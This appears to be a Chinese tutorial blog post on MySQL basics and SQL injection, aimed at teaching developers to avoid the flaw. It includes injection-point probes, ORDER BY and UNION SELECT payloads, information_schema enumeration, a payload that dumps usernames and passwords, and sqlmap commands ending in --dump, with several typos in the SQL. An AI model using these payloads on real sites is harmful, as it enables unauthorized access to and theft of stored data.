sql select 抛异常_mysql数据库及sql注入

a8d4807c74c411141f7f58c472f07f11.gif

mysql数据库及sql注入

4b8df69805fba272f8200a02e6fd1b03.gif

学习sql注入原理可以帮助我们写代码的时候避免一些不必要的漏洞,禁止用于违法用途。

mysql -u root -p回车后数据密码(默认root)进入数据库,没有配置环境变量的需要在mysql目录下的bin文件夹里面打开终端执行

show databases;查看数据库

CREATE DATABASE IF NOT EXISTS Hacktest DEFAULT CHARSET utf8 COLLATE utt8_general_ci;建立数据库如果没有Hacktest的话,默认用utf8

use hacktest;使用hacktest

drop hacktest;删除数据库

CREATE TABLE IF NOT EXISTS `news`( `id` INT UNSIGNED AUTO_INCREMENT, `title` VARCHAR(100) NOT NULL, `content` VARCHAR(100) NOT NULL, PRIMARY KEY ( `id` ))ENGINE=InnoDB DEFAULT CHARSET=utf8;创建表和其中的字段,如果没有news这个表的话

Show tables;查看数据表

INSERT INTO news (id,title,content) VALUES ('1','新闻1','这里是新闻内容');往表里面的id,title,content字段分别插入'1','新闻1','这里是新闻内容'

select * from news;查询news表

SQL注入-是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

漏洞原理:

用户访问:www.xxx/?id=1     返回ID为1的内容

黑客访问:www.xxx/?id=1 or 1 =1     黑客访问所有内容

数字型注入点判断

当要输入的参数x为数字时,后端脚本中的Sql语句类型大致如下select *from where id =x数字类型可以使用and 1=1和and 1-2来判断Url地址中输入http://xxx.cn/?id= x and 1=1页面依旧运行正常,继续进行下一步;Url地址中继续输入http://xxx/?id= x and 1-2页面运行错误,则说明此Sql注入为数字型注入。

原因如下:当输入and 1-1时,后台执行Sq语句select * from where id =and1没有语法错误且逻辑判断为真,所以返回的数据正常。当输入and 1-2时,后台执行Sql语句:select *from where id =没有语法错误但逻辑判断为假,所以返回的数据异常。

字符型注入点判断

当要输入的参数×为字符时,后端脚本中的Sql语句类型大致如下:select * from where id='x'字符类型可以使用单引号来判断:Url地址中输入http://xxx/?id= x',页面运行错误,继续进行下一步;Url地址中继续输入http://xxx/?id=x'%23页面运行正常,则说明此Sql注入为字符型注入。

原因如下:当输入x加上单引号时,后台执行Sql语句:select * from <表名> where id='x''语法上有错误,因为无法识别多出来的一个单引号。当输入x%23时,后台执行Sql语句select * from<表名> where id='x'#没有语法错误且逻辑正确,所以返回的数据正常。

利用Oder by x的语法来判断

Select * from users where id = 1 oder by

Select * from users where id = 1 oder by 2

Select * from users where id = 1 oder by 3

数字的含义:代表需要从第几个字段来排序

http://xxx/?id = 1' and 1= 2 union select 1,2.3 %23

利用Mysql数据库的函数来查询Select database();

Mysq15以上的版本,会有一个数据库存放着所有数据库的表名字段名等在SQL注入中,会经常对mysql数据库的information_schema数据库中的一些表进行查询,以此来获得自已想要的信息。

常用的表有SCHEMAT表:提供了当前mysal实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema ,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之

?id=-1' union select 1,group_concat(username).group_concat(password) from users %23

group_concat的作用:用符号连接查询结果里字段值

SQLMAP用法

测试注入 sqlmap -u url

跑数据库 sqlmap -u url --dbs

跑表名 sqmap-u url -D 数据库名 --tables

跑列名 sqlmap-u url -D 数据库名 -T 表名 --columns

跑字段内容 sqlmap-u url-D 数据库名 -T 表名 -C "字段名,字段名" --dump

4b8df69805fba272f8200a02e6fd1b03.gif

572b856b887d8ce13f1737a72300207f.gif

点分享

fbd2f6338f6acdcb1a1420c6b878a27e.gif

点收藏

8daa367c70c9581bbd6f40f35158409b.gif

点点赞

3aab44ae4ef7d7de0bdc1d7237e50b2b.gif

点在看

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值